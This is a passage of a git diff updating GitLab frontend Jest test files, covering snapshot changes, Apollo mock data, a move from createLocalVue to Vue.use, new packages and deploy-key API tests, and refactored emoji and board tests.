@@ -28,6 +29,7 @@ exports[`Alert integration settings form default state should match the default
label-for="alert-integration-settings-issue-template"
label-size="sm"
labeldescription=""
+ optionaltext="(optional)"
>
<label
class="gl-display-inline-flex"
@@ -83,6 +85,7 @@ exports[`Alert integration settings form default state should match the default
<gl-form-group-stub
class="gl-pl-0 gl-mb-5"
labeldescription=""
+ optionaltext="(optional)"
>
<gl-form-checkbox-stub>
<span>
@@ -94,6 +97,7 @@ exports[`Alert integration settings form default state should match the default
<gl-form-group-stub
class="gl-pl-0 gl-mb-5"
labeldescription=""
+ optionaltext="(optional)"
>
<gl-form-checkbox-stub
checked="true"
diff --git a/spec/frontend/alerts_settings/components/mocks/apollo_mock.js b/spec/frontend/alerts_settings/components/mocks/apollo_mock.js
index 828580a436b..e7ad2cd1d2a 100644
--- a/spec/frontend/alerts_settings/components/mocks/apollo_mock.js
+++ b/spec/frontend/alerts_settings/components/mocks/apollo_mock.js
@@ -34,6 +34,7 @@ export const updatePrometheusVariables = {
export const getIntegrationsQueryResponse = {
data: {
project: {
+ id: '1',
alertManagementIntegrations: {
nodes: [
{
diff --git a/spec/frontend/analytics/usage_trends/components/usage_trends_count_chart_spec.js b/spec/frontend/analytics/usage_trends/components/usage_trends_count_chart_spec.js
index 7c2df3fe8c4..1a331100bb8 100644
--- a/spec/frontend/analytics/usage_trends/components/usage_trends_count_chart_spec.js
+++ b/spec/frontend/analytics/usage_trends/components/usage_trends_count_chart_spec.js
@@ -1,6 +1,7 @@
import { GlAlert } from '@gitlab/ui';
import { GlLineChart } from '@gitlab/ui/dist/charts';
-import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import UsageTrendsCountChart from '~/analytics/usage_trends/components/usage_trends_count_chart.vue';
@@ -9,8 +10,7 @@ import ChartSkeletonLoader from '~/vue_shared/components/resizable_chart/skeleto
import { mockQueryResponse, mockApolloResponse } from '../apollo_mock_data';
import { mockCountsData1 } from '../mock_data';
-const localVue = createLocalVue();
-localVue.use(VueApollo);
+Vue.use(VueApollo);
const loadChartErrorMessage = 'My load error message';
const noDataMessage = 'My no data message';
@@ -39,7 +39,6 @@ describe('UsageTrendsCountChart', () => {
const createComponent = ({ responseHandler }) => {
return shallowMount(UsageTrendsCountChart, {
- localVue,
apolloProvider: createMockApollo([[statsQuery, responseHandler]]),
propsData: { ...mockChartConfig },
});
diff --git a/spec/frontend/analytics/usage_trends/components/users_chart_spec.js b/spec/frontend/analytics/usage_trends/components/users_chart_spec.js
index 6adfcca11ac..04ea25a02d5 100644
--- a/spec/frontend/analytics/usage_trends/components/users_chart_spec.js
+++ b/spec/frontend/analytics/usage_trends/components/users_chart_spec.js
@@ -1,6 +1,7 @@
import { GlAlert } from '@gitlab/ui';
import { GlAreaChart } from '@gitlab/ui/dist/charts';
-import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import UsersChart from '~/analytics/usage_trends/components/users_chart.vue';
@@ -13,8 +14,7 @@ import {
roundedSortedCountsMonthlyChartData2,
} from '../mock_data';
-const localVue = createLocalVue();
-localVue.use(VueApollo);
+Vue.use(VueApollo);
describe('UsersChart', () => {
let wrapper;
@@ -34,7 +34,6 @@ describe('UsersChart', () => {
endDate: new Date(2020, 10, 1),
totalDataPoints: mockCountsData2.length,
},
- localVue,
apolloProvider: createMockApollo([[usersQuery, queryHandler]]),
data() {
return { loadingError };
diff --git a/spec/frontend/api/packages_api_spec.js b/spec/frontend/api/packages_api_spec.js
new file mode 100644
index 00000000000..3286dccb1b2
--- /dev/null
+++ b/spec/frontend/api/packages_api_spec.js
@@ -0,0 +1,53 @@
+import MockAdapter from 'axios-mock-adapter';
+import { publishPackage } from '~/api/packages_api';
+import axios from '~/lib/utils/axios_utils';
+import httpStatus from '~/lib/utils/http_status';
+
+describe('Api', () => {
+ const dummyApiVersion = 'v3000';
+ const dummyUrlRoot = '/gitlab';
+ const dummyGon = {
+ api_version: dummyApiVersion,
+ relative_url_root: dummyUrlRoot,
+ };
+ let originalGon;
+ let mock;
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ originalGon = window.gon;
+ window.gon = { ...dummyGon };
+ });
+
+ afterEach(() => {
+ mock.restore();
+ window.gon = originalGon;
+ });
+
+ describe('packages', () => {
+ const projectPath = 'project_a';
+ const name = 'foo';
+ const packageVersion = '0';
+ const apiResponse = [{ id: 1, name: 'foo' }];
+
+ describe('publishPackage', () => {
+ it('publishes the package', () => {
+ const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectPath}/packages/generic/${name}/${packageVersion}/${name}`;
+
+ jest.spyOn(axios, 'put');
+ mock.onPut(expectedUrl).replyOnce(httpStatus.OK, apiResponse);
+
+ return publishPackage(
+ { projectPath, name, version: 0, fileName: name, files: [{}] },
+ { status: 'hidden', select: 'package_file' },
+ ).then(({ data }) => {
+ expect(data).toEqual(apiResponse);
+ expect(axios.put).toHaveBeenCalledWith(expectedUrl, expect.any(FormData), {
+ headers: { 'Content-Type': 'multipart/form-data' },
+ params: { select: 'package_file', status: 'hidden' },
+ });
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/api_spec.js b/spec/frontend/api_spec.js
index c3e5a2973d7..75faf6d66fa 100644
--- a/spec/frontend/api_spec.js
+++ b/spec/frontend/api_spec.js
@@ -1,5 +1,5 @@
import MockAdapter from 'axios-mock-adapter';
-import Api from '~/api';
+import Api, { DEFAULT_PER_PAGE } from '~/api';
import axios from '~/lib/utils/axios_utils';
import httpStatus from '~/lib/utils/http_status';
@@ -1574,6 +1574,51 @@ describe('Api', () => {
});
});
+ describe('deployKeys', () => {
+ it('fetches deploy keys', async () => {
+ const deployKeys = [
+ {
+ id: 7,
+ title: 'My title 1',
+ created_at: '2021-10-29T16:59:55.229Z',
+ expires_at: null,
+ key:
+ 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDLvQzRX960N7dxPdge9o5a96+M4GEGQ7rxT2D3wAQDtQFjQV5ZcKb5wfeLtYLe3kRVI4lCO10PXeQppb1XBaYmVO31IaRkcgmMEPVyfp76Dp4CJZz6aMEbbcqfaHkDre0Fa8kzTXnBJVh2NeDbBfGMjFM5NRQLhKykodNsepO6dQ== dummy@gitlab.com',
+ fingerprint: '81:93:63:b9:1e:24:a2:aa:e0:87:d3:3f:42:81:f2:c2',
+ projects_with_write_access: [
+ {
+ id: 11,
+ description: null,
+ name: 'project1',
+ name_with_namespace: 'John Doe3 / project1',
+ path: 'project1',
+ path_with_namespace: 'namespace1/project1',
+ created_at: '2021-10-29T16:59:54.668Z',
+ },
+ {
+ id: 12,
+ description: null,
+ name: 'project2',
+ name_with_namespace: 'John Doe4 / project2',
+ path: 'project2',
+ path_with_namespace: 'namespace2/project2',
+ created_at: '2021-10-29T16:59:55.116Z',
+ },
+ ],
+ },
+ ];
+
+ const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/deploy_keys`;
+ mock.onGet(expectedUrl).reply(httpStatus.OK, deployKeys);
+
+ const params = { page: 2, public: true };
+ const { data } = await Api.deployKeys(params);
+
+ expect(data).toEqual(deployKeys);
+ expect(mock.history.get[0].params).toEqual({ ...params, per_page: DEFAULT_PER_PAGE });
+ });
+ });
+
describe('Feature Flag User List', () => {
let expectedUrl;
let projectId;
diff --git a/spec/frontend/artifacts_settings/components/keep_latest_artifact_checkbox_spec.js b/spec/frontend/artifacts_settings/components/keep_latest_artifact_checkbox_spec.js
index b0d1b70c198..bfa8274f0eb 100644
--- a/spec/frontend/artifacts_settings/components/keep_latest_artifact_checkbox_spec.js
+++ b/spec/frontend/artifacts_settings/components/keep_latest_artifact_checkbox_spec.js
@@ -13,6 +13,7 @@ localVue.use(VueApollo);
const keepLatestArtifactProjectMock = {
data: {
project: {
+ id: '1',
ciCdSettings: { keepLatestArtifact: true },
},
},
diff --git a/spec/frontend/awards_handler_spec.js b/spec/frontend/awards_handler_spec.js
index 09270174674..c4002ec11f3 100644
--- a/spec/frontend/awards_handler_spec.js
+++ b/spec/frontend/awards_handler_spec.js
@@ -1,15 +1,12 @@
-import MockAdapter from 'axios-mock-adapter';
import $ from 'jquery';
import Cookies from 'js-cookie';
+import { initEmojiMock, clearEmojiMock } from 'helpers/emoji';
import { useFakeRequestAnimationFrame } from 'helpers/fake_request_animation_frame';
import loadAwardsHandler from '~/awards_handler';
-import { EMOJI_VERSION } from '~/emoji';
-import axios from '~/lib/utils/axios_utils';
window.gl = window.gl || {};
window.gon = window.gon || {};
-let mock;
let awardsHandler = null;
const urlRoot = gon.relative_url_root;
@@ -76,8 +73,7 @@ describe('AwardsHandler', () => {
};
beforeEach(async () => {
- mock = new MockAdapter(axios);
- mock.onGet(`/-/emojis/${EMOJI_VERSION}/emojis.json`).reply(200, emojiData);
+ await initEmojiMock(emojiData);
loadFixtures('snippets/show.html');
@@ -89,7 +85,7 @@ describe('AwardsHandler', () => {
// restore original url root value
gon.relative_url_root = urlRoot;
- mock.restore();
+ clearEmojiMock();
// Undo what we did to the shared <body>
$('body').removeAttr('data-page');
diff --git a/spec/frontend/behaviors/gl_emoji_spec.js b/spec/frontend/behaviors/gl_emoji_spec.js
index d23a0a84997..0f4e2e08dbd 100644
--- a/spec/frontend/behaviors/gl_emoji_spec.js
+++ b/spec/frontend/behaviors/gl_emoji_spec.js
@@ -1,15 +1,13 @@
-import MockAdapter from 'axios-mock-adapter';
+import { initEmojiMock, clearEmojiMock } from 'helpers/emoji';
import waitForPromises from 'helpers/wait_for_promises';
import installGlEmojiElement from '~/behaviors/gl_emoji';
-import { initEmojiMap, EMOJI_VERSION } from '~/emoji';
+import { EMOJI_VERSION } from '~/emoji';
import * as EmojiUnicodeSupport from '~/emoji/support';
-import axios from '~/lib/utils/axios_utils';
jest.mock('~/emoji/support');
describe('gl_emoji', () => {
- let mock;
const emojiData = {
grey_question: {
c: 'symbols',
@@ -38,15 +36,12 @@ describe('gl_emoji', () => {
return div.firstElementChild;
}
- beforeEach(() => {
- mock = new MockAdapter(axios);
- mock.onGet(`/-/emojis/${EMOJI_VERSION}/emojis.json`).reply(200, emojiData);
-
- return initEmojiMap().catch(() => {});
+ beforeEach(async () => {
+ await initEmojiMock(emojiData);
});
afterEach(() => {
- mock.restore();
+ clearEmojiMock();
document.body.innerHTML = '';
});
diff --git a/spec/frontend/blob/components/__snapshots__/blob_header_filepath_spec.js.snap b/spec/frontend/blob/components/__snapshots__/blob_header_filepath_spec.js.snap
index dfa6b99080b..46a5631b028 100644
--- a/spec/frontend/blob/components/__snapshots__/blob_header_filepath_spec.js.snap
+++ b/spec/frontend/blob/components/__snapshots__/blob_header_filepath_spec.js.snap
@@ -34,6 +34,7 @@ exports[`Blob Header Filepath rendering matches the snapshot 1`] = `
text="foo/bar/dummy.md"
title="Copy file path"
tooltipplacement="top"
+ variant="default"
/>
</div>
`;
diff --git a/spec/frontend/blob/viewer/index_spec.js b/spec/frontend/blob/viewer/index_spec.js
index 705c4630a68..061ac7ad167 100644
--- a/spec/frontend/blob/viewer/index_spec.js
+++ b/spec/frontend/blob/viewer/index_spec.js
@@ -28,7 +28,7 @@ describe('Blob viewer', () => {
loadFixtures('blob/show_readme.html');
$('#modal-upload-blob').remove();
- mock.onGet(/blob\/master\/README\.md/).reply(200, {
+ mock.onGet(/blob\/.+\/README\.md/).reply(200, {
html: '<div>testing</div>',
});
diff --git a/spec/frontend/blob_edit/edit_blob_spec.js b/spec/frontend/blob_edit/edit_blob_spec.js
index ebef0656750..9c974e79e6e 100644
--- a/spec/frontend/blob_edit/edit_blob_spec.js
+++ b/spec/frontend/blob_edit/edit_blob_spec.js
@@ -1,14 +1,29 @@
import waitForPromises from 'helpers/wait_for_promises';
import EditBlob from '~/blob_edit/edit_blob';
+import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
import { FileTemplateExtension } from '~/editor/extensions/source_editor_file_template_ext';
import { EditorMarkdownExtension } from '~/editor/extensions/source_editor_markdown_ext';
+import { EditorMarkdownPreviewExtension } from '~/editor/extensions/source_editor_markdown_livepreview_ext';
import SourceEditor from '~/editor/source_editor';
jest.mock('~/editor/source_editor');
-jest.mock('~/editor/extensions/source_editor_markdown_ext');
+jest.mock('~/editor/extensions/source_editor_extension_base');
jest.mock('~/editor/extensions/source_editor_file_template_ext');
+jest.mock('~/editor/extensions/source_editor_markdown_ext');
+jest.mock('~/editor/extensions/source_editor_markdown_livepreview_ext');
const PREVIEW_MARKDOWN_PATH = '/foo/bar/preview_markdown';
+const defaultExtensions = [
+ { definition: SourceEditorExtension },
+ { definition: FileTemplateExtension },
+];
+const markdownExtensions = [
+ { definition: EditorMarkdownExtension },
+ {
+ definition: EditorMarkdownPreviewExtension,
+ setupOptions: { previewMarkdownPath: PREVIEW_MARKDOWN_PATH },
+ },
+];
describe('Blob Editing', () => {
const useMock = jest.fn();
@@ -29,7 +44,9 @@ describe('Blob Editing', () => {
jest.spyOn(SourceEditor.prototype, 'createInstance').mockReturnValue(mockInstance);
});
afterEach(() => {
+ SourceEditorExtension.mockClear();
EditorMarkdownExtension.mockClear();
+ EditorMarkdownPreviewExtension.mockClear();
FileTemplateExtension.mockClear();
});
@@ -45,26 +62,22 @@ describe('Blob Editing', () => {
await waitForPromises();
};
- it('loads FileTemplateExtension by default', async () => {
+ it('loads SourceEditorExtension and FileTemplateExtension by default', async () => {
await initEditor();
- expect(useMock).toHaveBeenCalledWith(expect.any(FileTemplateExtension));
- expect(FileTemplateExtension).toHaveBeenCalledTimes(1);
+ expect(useMock).toHaveBeenCalledWith(defaultExtensions);
});
describe('Markdown', () => {
- it('does not load MarkdownExtension by default', async () => {
+ it('does not load MarkdownExtensions by default', async () => {
await initEditor();
expect(EditorMarkdownExtension).not.toHaveBeenCalled();
+ expect(EditorMarkdownPreviewExtension).not.toHaveBeenCalled();
});
it('loads MarkdownExtension only for the markdown files', async () => {
await initEditor(true);
- expect(useMock).toHaveBeenCalledWith(expect.any(EditorMarkdownExtension));
- expect(EditorMarkdownExtension).toHaveBeenCalledTimes(1);
- expect(EditorMarkdownExtension).toHaveBeenCalledWith({
- instance: mockInstance,
- previewMarkdownPath: PREVIEW_MARKDOWN_PATH,
- });
+ expect(useMock).toHaveBeenCalledTimes(2);
+ expect(useMock.mock.calls[1]).toEqual([markdownExtensions]);
});
});
diff --git a/spec/frontend/boards/board_list_helper.js b/spec/frontend/boards/board_list_helper.js
index 811f0043a01..d0f14bd37c1 100644
--- a/spec/frontend/boards/board_list_helper.js
+++ b/spec/frontend/boards/board_list_helper.js
@@ -1,4 +1,5 @@
import { createLocalVue, shallowMount } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
import Vuex from 'vuex';
import BoardCard from '~/boards/components/board_card.vue';
@@ -6,7 +7,15 @@ import BoardList from '~/boards/components/board_list.vue';
import BoardNewIssue from '~/boards/components/board_new_issue.vue';
import BoardNewItem from '~/boards/components/board_new_item.vue';
import defaultState from '~/boards/stores/state';
-import { mockList, mockIssuesByListId, issues, mockGroupProjects } from './mock_data';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import listQuery from 'ee_else_ce/boards/graphql/board_lists_deferred.query.graphql';
+import {
+ mockList,
+ mockIssuesByListId,
+ issues,
+ mockGroupProjects,
+ boardListQueryResponse,
+} from './mock_data';
export default function createComponent({
listIssueProps = {},
@@ -15,16 +24,23 @@ export default function createComponent({
actions = {},
getters = {},
provide = {},
+ data = {},
state = defaultState,
stubs = {
BoardNewIssue,
BoardNewItem,
BoardCard,
},
+ issuesCount,
} = {}) {
const localVue = createLocalVue();
+ localVue.use(VueApollo);
localVue.use(Vuex);
+ const fakeApollo = createMockApollo([
+ [listQuery, jest.fn().mockResolvedValue(boardListQueryResponse(issuesCount))],
+ ]);
+
const store = new Vuex.Store({
state: {
selectedProject: mockGroupProjects[0],
@@ -68,6 +84,7 @@ export default function createComponent({
}
const component = shallowMount(BoardList, {
+ apolloProvider: fakeApollo,
localVue,
store,
propsData: {
@@ -87,6 +104,11 @@ export default function createComponent({
...provide,
},
stubs,
+ data() {
+ return {
+ ...data,
+ };
+ },
});
return component;
diff --git a/spec/frontend/boards/board_list_spec.js b/spec/frontend/boards/board_list_spec.js
index 6f623eab1af..1981ed5ab7f 100644
--- a/spec/frontend/boards/board_list_spec.js
+++ b/spec/frontend/boards/board_list_spec.js
@@ -38,7 +38,7 @@ describe('Board list component', () => {
describe('When Expanded', () => {
beforeEach(() => {
- wrapper = createComponent();
+ wrapper = createComponent({ issuesCount: 1 });
});
it('renders component', () => {
@@ -97,14 +97,6 @@ describe('Board list component', () => {
await wrapper.vm.$nextTick();
expect(wrapper.find('.board-list-count').attributes('data-issue-id')).toBe('-1');
});
-
- it('shows how many more issues to load', async () => {
- wrapper.vm.showCount = true;
- wrapper.setProps({ list: { issuesCount: 20 } });
-
- await wrapper.vm.$nextTick();
- expect(wrapper.find('.board-list-count').text()).toBe('Showing 1 of 20 issues');
- });
});
describe('load more issues', () => {
@@ -113,9 +105,7 @@ describe('Board list component', () => {
};
beforeEach(() => {
- wrapper = createComponent({
- listProps: { issuesCount: 25 },
- });
+ wrapper = createComponent();
});
it('does not load issues if already loading', () => {
@@ -131,13 +121,27 @@ describe('Board list component', () => {
it('shows loading more spinner', async () => {
wrapper = createComponent({
state: { listsFlags: { 'gid://gitlab/List/1': { isLoadingMore: true } } },
+ data: {
+ showCount: true,
+ },
});
- wrapper.vm.showCount = true;
await wrapper.vm.$nextTick();
expect(findIssueCountLoadingIcon().exists()).toBe(true);
});
+
+ it('shows how many more issues to load', async () => {
+ // wrapper.vm.showCount = true;
+ wrapper = createComponent({
+ data: {
+ showCount: true,
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+ expect(wrapper.find('.board-list-count').text()).toBe('Showing 1 of 20 issues');
+ });
});
describe('max issue count warning', () => {
diff --git a/spec/frontend/boards/components/board_content_sidebar_spec.js b/spec/frontend/boards/components/board_content_sidebar_spec.js
index 8a8250205d0..7b176cea2a3 100644
--- a/spec/frontend/boards/components/board_content_sidebar_spec.js
+++ b/spec/frontend/boards/components/board_content_sidebar_spec.js
@@ -1,18 +1,20 @@
import { GlDrawer } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import { MountingPortal } from 'portal-vue';
+import Vue from 'vue';
import Vuex from 'vuex';
import SidebarDropdownWidget from 'ee_else_ce/sidebar/components/sidebar_dropdown_widget.vue';
import { stubComponent } from 'helpers/stub_component';
import BoardContentSidebar from '~/boards/components/board_content_sidebar.vue';
-import BoardSidebarLabelsSelect from '~/boards/components/sidebar/board_sidebar_labels_select.vue';
import BoardSidebarTitle from '~/boards/components/sidebar/board_sidebar_title.vue';
import { ISSUABLE } from '~/boards/constants';
import SidebarDateWidget from '~/sidebar/components/date/sidebar_date_widget.vue';
import SidebarSubscriptionsWidget from '~/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue';
import SidebarTodoWidget from '~/sidebar/components/todo_toggle/sidebar_todo_widget.vue';
+import SidebarLabelsWidget from '~/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue';
import { mockActiveIssue, mockIssue, mockIssueGroupPath, mockIssueProjectPath } from '../mock_data';
+Vue.use(Vuex);
describe('BoardContentSidebar', () => {
let wrapper;
let store;
@@ -32,6 +34,7 @@ describe('BoardContentSidebar', () => {
groupPathForActiveIssue: () => mockIssueGroupPath,
projectPathForActiveIssue: () => mockIssueProjectPath,
isSidebarOpen: () => true,
+ isGroupBoard: () => false,
...mockGetters,
},
actions: mockActions,
@@ -115,8 +118,8 @@ describe('BoardContentSidebar', () => {
expect(wrapper.findComponent(SidebarTodoWidget).exists()).toBe(true);
});
- it('renders BoardSidebarLabelsSelect', () => {
- expect(wrapper.findComponent(BoardSidebarLabelsSelect).exists()).toBe(true);
+ it('renders SidebarLabelsWidget', () => {
+ expect(wrapper.findComponent(SidebarLabelsWidget).exists()).toBe(true);
});
it('renders BoardSidebarTitle', () => {
diff --git a/spec/frontend/boards/components/board_filtered_search_spec.js b/spec/frontend/boards/components/board_filtered_search_spec.js
index b858d6e95a0..ea551e94f2f 100644
--- a/spec/frontend/boards/components/board_filtered_search_spec.js
+++ b/spec/frontend/boards/components/board_filtered_search_spec.js
@@ -18,7 +18,7 @@ describe('BoardFilteredSearch', () => {
{
icon: 'labels',
title: __('Label'),
- type: 'label_name',
+ type: 'label',
operators: [
{ value: '=', description: 'is' },
{ value: '!=', description: 'is not' },
@@ -31,7 +31,7 @@ describe('BoardFilteredSearch', () => {
{
icon: 'pencil',
title: __('Author'),
- type: 'author_username',
+ type: 'author',
operators: [
{ value: '=', description: 'is' },
{ value: '!=', description: 'is not' },
@@ -97,7 +97,7 @@ describe('BoardFilteredSearch', () => {
createComponent({ props: { eeFilters: { labelName: ['label'] } } });
expect(findFilteredSearch().props('initialFilterValue')).toEqual([
- { type: 'label_name', value: { data: 'label', operator: '=' } },
+ { type: 'label', value: { data: 'label', operator: '=' } },
]);
});
});
@@ -117,12 +117,14 @@ describe('BoardFilteredSearch', () => {
it('sets the url params to the correct results', async () => {
const mockFilters = [
- { type: 'author_username', value: { data: 'root', operator: '=' } },
- { type: 'label_name', value: { data: 'label', operator: '=' } },
- { type: 'label_name', value: { data: 'label2', operator: '=' } },
- { type: 'milestone_title', value: { data: 'New Milestone', operator: '=' } },
- { type: 'types', value: { data: 'INCIDENT', operator: '=' } },
+ { type: 'author', value: { data: 'root', operator: '=' } },
+ { type: 'label', value: { data: 'label', operator: '=' } },
+ { type: 'label', value: { data: 'label2', operator: '=' } },
+ { type: 'milestone', value: { data: 'New Milestone', operator: '=' } },
+ { type: 'type', value: { data: 'INCIDENT', operator: '=' } },
{ type: 'weight', value: { data: '2', operator: '=' } },
+ { type: 'iteration', value: { data: '3341', operator: '=' } },
+ { type: 'release', value: { data: 'v1.0.0', operator: '=' } },
];
jest.spyOn(urlUtility, 'updateHistory');
findFilteredSearch().vm.$emit('onFilter', mockFilters);
@@ -131,7 +133,7 @@ describe('BoardFilteredSearch', () => {
title: '',
replace: true,
url:
- 'http://test.host/?author_username=root&label_name[]=label&label_name[]=label2&milestone_title=New+Milestone&types=INCIDENT&weight=2',
+ 'http://test.host/?author_username=root&label_name[]=label&label_name[]=label2&milestone_title=New+Milestone&iteration_id=3341&types=INCIDENT&weight=2&release_tag=v1.0.0',
});
});
});
@@ -145,8 +147,8 @@ describe('BoardFilteredSearch', () => {
it('passes the correct props to FilterSearchBar', () => {
expect(findFilteredSearch().props('initialFilterValue')).toEqual([
- { type: 'author_username', value: { data: 'root', operator: '=' } },
- { type: 'label_name', value: { data: 'label', operator: '=' } },
+ { type: 'author', value: { data: 'root', operator: '=' } },
+ { type: 'label', value: { data: 'label', operator: '=' } },
]);
});
});
diff --git a/spec/frontend/boards/components/board_list_header_spec.js b/spec/frontend/boards/components/board_list_header_spec.js
index 0abb00e0fa5..148d0c5684d 100644
--- a/spec/frontend/boards/components/board_list_header_spec.js
+++ b/spec/frontend/boards/components/board_list_header_spec.js
@@ -1,18 +1,22 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
import Vuex from 'vuex';
+import createMockApollo from 'helpers/mock_apollo_helper';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
-import { mockLabelList } from 'jest/boards/mock_data';
+import { boardListQueryResponse, mockLabelList } from 'jest/boards/mock_data';
import BoardListHeader from '~/boards/components/board_list_header.vue';
import { ListType } from '~/boards/constants';
+import listQuery from 'ee_else_ce/boards/graphql/board_lists_deferred.query.graphql';
-const localVue = createLocalVue();
-
-localVue.use(Vuex);
+Vue.use(VueApollo);
+Vue.use(Vuex);
describe('Board List Header Component', () => {
let wrapper;
let store;
+ let fakeApollo;
const updateListSpy = jest.fn();
const toggleListCollapsedSpy = jest.fn();
@@ -20,6 +24,7 @@ describe('Board List Header Component', () => {
afterEach(() => {
wrapper.destroy();
wrapper = null;
+ fakeApollo = null;
localStorage.clear();
});
@@ -29,6 +34,7 @@ describe('Board List Header Component', () => {
collapsed = false,
withLocalStorage = true,
currentUserId = 1,
+ listQueryHandler = jest.fn().mockResolvedValue(boardListQueryResponse()),
} = {}) => {
const boardId = '1';
@@ -56,10 +62,12 @@ describe('Board List Header Component', () => {
getters: { isEpicBoard: () => false },
});
+ fakeApollo = createMockApollo([[listQuery, listQueryHandler]]);
+
wrapper = extendedWrapper(
shallowMount(BoardListHeader, {
+ apolloProvider: fakeApollo,
store,
- localVue,
propsData: {
disabled: false,
list: listMock,
diff --git a/spec/frontend/boards/components/issue_board_filtered_search_spec.js b/spec/frontend/boards/components/issue_board_filtered_search_spec.js
index 45c5c87d800..76e8b84d8ef 100644
--- a/spec/frontend/boards/components/issue_board_filtered_search_spec.js
+++ b/spec/frontend/boards/components/issue_board_filtered_search_spec.js
@@ -1,3 +1,4 @@
+import { orderBy } from 'lodash';
import { shallowMount } from '@vue/test-utils';
import BoardFilteredSearch from 'ee_else_ce/boards/components/board_filtered_search.vue';
import IssueBoardFilteredSpec from '~/boards/components/issue_board_filtered_search.vue';
@@ -16,6 +17,7 @@ describe('IssueBoardFilter', () => {
propsData: { fullPath: 'gitlab-org', boardType: 'group' },
provide: {
isSignedIn,
+ releasesFetchPath: '/releases',
},
});
};
@@ -61,7 +63,7 @@ describe('IssueBoardFilter', () => {
isSignedIn,
);
- expect(findBoardsFilteredSearch().props('tokens')).toEqual(tokens);
+ expect(findBoardsFilteredSearch().props('tokens')).toEqual(orderBy(tokens, ['title']));
},
);
});
diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js
deleted file mode 100644
index fb9d823107e..00000000000
--- a/spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js
+++ /dev/null
@@ -1,168 +0,0 @@
-import { GlLabel } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import { TEST_HOST } from 'helpers/test_constants';
-import {
- labels as TEST_LABELS,
- mockIssue as TEST_ISSUE,
- mockIssueFullPath as TEST_ISSUE_FULLPATH,
-} from 'jest/boards/mock_data';
-import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
-import BoardSidebarLabelsSelect from '~/boards/components/sidebar/board_sidebar_labels_select.vue';
-import { createStore } from '~/boards/stores';
-import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-
-const TEST_LABELS_PAYLOAD = TEST_LABELS.map((label) => ({ ...label, set: true }));
-const TEST_LABELS_TITLES = TEST_LABELS.map((label) => label.title);
-
-describe('~/boards/components/sidebar/board_sidebar_labels_select.vue', () => {
- let wrapper;
- let store;
-
- afterEach(() => {
- wrapper.destroy();
- store = null;
- wrapper = null;
- });
-
- const createWrapper = ({ labels = [], providedValues = {} } = {}) => {
- store = createStore();
- store.state.boardItems = { [TEST_ISSUE.id]: { ...TEST_ISSUE, labels } };
- store.state.activeId = TEST_ISSUE.id;
-
- wrapper = shallowMount(BoardSidebarLabelsSelect, {
- store,
- provide: {
- canUpdate: true,
- labelsManagePath: TEST_HOST,
- labelsFilterBasePath: TEST_HOST,
- ...providedValues,
- },
- stubs: {
- BoardEditableItem,
- LabelsSelect: true,
- },
- });
- };
-
- const findLabelsSelect = () => wrapper.find({ ref: 'labelsSelect' });
- const findLabelsTitles = () =>
- wrapper.findAll(GlLabel).wrappers.map((item) => item.props('title'));
- const findCollapsed = () => wrapper.find('[data-testid="collapsed-content"]');
-
- describe('when labelsFetchPath is provided', () => {
- it('uses injected labels fetch path', () => {
- createWrapper({ providedValues: { labelsFetchPath: 'foobar' } });
-
- expect(findLabelsSelect().props('labelsFetchPath')).toEqual('foobar');
- });
- });
-
- it('uses the default project label endpoint', () => {
- createWrapper();
-
- expect(findLabelsSelect().props('labelsFetchPath')).toEqual(
- `/${TEST_ISSUE_FULLPATH}/-/labels?include_ancestor_groups=true`,
- );
- });
-
- it('renders "None" when no labels are selected', () => {
- createWrapper();
-
- expect(findCollapsed().text()).toBe('None');
- });
-
- it('renders labels when set', () => {
- createWrapper({ labels: TEST_LABELS });
-
- expect(findLabelsTitles()).toEqual(TEST_LABELS_TITLES);
- });
-
- describe('when labels are submitted', () => {
- beforeEach(async () => {
- createWrapper();
-
- jest.spyOn(wrapper.vm, 'setActiveBoardItemLabels').mockImplementation(() => TEST_LABELS);
- findLabelsSelect().vm.$emit('updateSelectedLabels', TEST_LABELS_PAYLOAD);
- store.state.boardItems[TEST_ISSUE.id].labels = TEST_LABELS;
- await wrapper.vm.$nextTick();
- });
-
- it('collapses sidebar and renders labels', () => {
- expect(findCollapsed().isVisible()).toBe(true);
- expect(findLabelsTitles()).toEqual(TEST_LABELS_TITLES);
- });
-
- it('commits change to the server', () => {
- expect(wrapper.vm.setActiveBoardItemLabels).toHaveBeenCalledWith({
- addLabelIds: TEST_LABELS.map((label) => label.id),
- projectPath: TEST_ISSUE_FULLPATH,
- removeLabelIds: [],
- iid: null,
- });
- });
- });
-
- describe('when labels are updated over existing labels', () => {
- const testLabelsPayload = [
- { id: 5, set: true },
- { id: 6, set: false },
- { id: 7, set: true },
- ];
- const expectedLabels = [{ id: 5 }, { id: 7 }];
-
- beforeEach(async () => {
- createWrapper({ labels: TEST_LABELS });
-
- jest.spyOn(wrapper.vm, 'setActiveBoardItemLabels').mockImplementation(() => expectedLabels);
